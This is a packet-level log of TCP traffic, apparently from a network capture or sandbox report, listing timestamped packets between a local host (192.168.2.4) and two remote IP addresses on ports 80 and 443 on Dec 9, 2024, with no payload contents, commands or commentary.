Dec 9, 2024 23:09:36.991075039 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.991147041 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.991252899 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.991628885 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.991794109 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.991844893 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.991902113 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.991957903 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.992696047 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.992865086 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.992925882 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.993515015 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.993612051 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.994205952 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.994345903 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.994518995 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.994530916 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.994671106 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.995192051 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.995275974 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.995306015 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.995421886 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.996030092 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.996076107 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.996135950 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.996948004 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.997083902 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.997423887 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.997726917 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.997839928 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.998579025 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.998722076 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.999435902 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.999502897 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.000464916 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.000587940 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.001168966 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.001306057 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.002026081 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.002296925 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.002854109 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.002955914 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.003758907 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.003803015 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.004559040 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.004599094 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.005398035 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.005517006 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.006266117 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.006347895 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.007142067 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.007188082 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.007369995 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.007950068 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.008049011 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.008124113 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.008161068 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.008173943 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.008824110 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.008868933 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.008908987 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.009157896 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.009623051 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.009721041 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.009732008 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.009778023 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.010488987 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.010586977 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.010598898 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.010622978 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.011341095 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.011436939 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.012159109 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.012274027 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.013058901 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.013077021 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.013123035 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.013228893 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.013845921 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.013973951 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.014018059 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.014687061 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.014734030 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.014786959 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.015582085 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.015635967 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.015765905 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.015814066 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.016438007 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.016488075 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.016491890 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.016799927 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.017266989 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.017328024 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.017337084 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.017381907 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.018141031 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.018251896 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.018301010 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.018953085 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.019000053 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.019040108 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.019088030 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.019871950 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.019965887 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.019979954 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.020102024 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.020673990 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.020723104 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.020802021 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.020847082 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.021503925 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.021550894 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.021629095 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.021692038 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.022392035 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.022438049 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.022486925 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.022536993 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.023204088 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.023252964 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.023350954 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.023401976 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.024137020 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.024190903 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.024223089 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.024303913 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.024905920 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.024955034 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.024966002 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.024998903 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.025639057 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:37.025712013 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.025712967 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:37.025760889 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.025823116 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.025849104 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:37.025850058 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:37.026246071 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.026572943 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.026686907 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.026736021 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.027441025 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.027487993 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.027546883 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.027592897 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.028291941 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.028440952 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.028578997 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.029149055 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.029194117 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.029259920 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.031332970 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.136822939 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.136873007 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.136920929 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.136955976 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.137231112 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.137362957 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.137406111 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.138133049 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.138231039 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.138437033 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.138942957 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.139343023 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.180454969 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.180607080 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.180756092 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.180838108 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.181140900 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.181662083 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.181761980 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.181798935 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.181853056 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.182506084 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.182621002 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.182738066 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.182853937 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.183341980 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.183445930 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.183492899 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.184235096 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.184339046 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.184381962 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.184432030 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.185003996 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.185051918 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.185266972 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.185697079 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.185839891 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.185883045 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.185940027 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.186708927 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.186753988 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.186840057 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.187274933 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.187561035 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.187603951 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.187643051 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.187789917 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.188456059 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.188524961 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.189264059 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.189393044 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.190141916 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.190249920 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.190975904 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.191077948 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.191813946 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.191986084 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.192663908 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.192828894 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.193533897 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.193723917 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.194386005 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.194484949 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.195225954 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.195336103 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.196077108 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.196177959 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.196885109 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.196999073 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.197783947 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.197851896 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.198031902 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.198512077 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.198559999 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.198616982 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.198683977 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.198685884 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.198801041 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.199465036 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.199701071 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.200270891 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.200423002 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.201138973 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.201253891 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.201431036 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.202081919 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.202260971 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.202826023 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.202918053 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.203696012 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.203797102 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.204592943 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.204715967 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.205382109 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.205475092 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.206242085 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.206332922 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.207052946 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.207170963 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.207931995 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.208134890 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.208805084 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.208946943 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.209651947 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.209832907 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.210469007 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.210581064 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.211327076 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.211447001 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.212177992 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.212310076 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.213032007 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.213237047 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.213668108 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.213871002 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.213999987 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.214716911 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.214848995 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.215102911 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.215135098 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.215173006 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.215210915 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.215553999 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.215627909 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.215658903 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.215735912 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.216411114 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.216501951 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.216532946 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.216587067 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.217248917 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.217353106 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.217412949 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.218180895 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.218236923 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.218269110 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.218338013 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.219013929 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.219172955 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.219219923 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.219803095 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.219950914 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.219995975 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.220050097 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.220633984 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.220699072 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.220742941 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.221493006 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.221518993 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.221563101 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.329060078 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.329096079 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.329509974 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.329602003 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.330290079 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.330421925 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.331120014 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.345905066 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.350707054 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:37.350743055 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:37.372682095 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.372776031 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.373032093 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.373078108 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.373188972 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.373769045 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.373857021 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.374598026 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.374758959 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.375510931 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.375658989 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.376279116 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.376463890 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.377127886 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.377242088 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.377954006 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.378066063 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.378807068 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.378906965 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.379664898 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.379832029 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.380517006 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.380625010 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.381360054 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.381494999 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.382147074 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.382226944 CET	80	49838	185.215.113.16	192.168.2.4
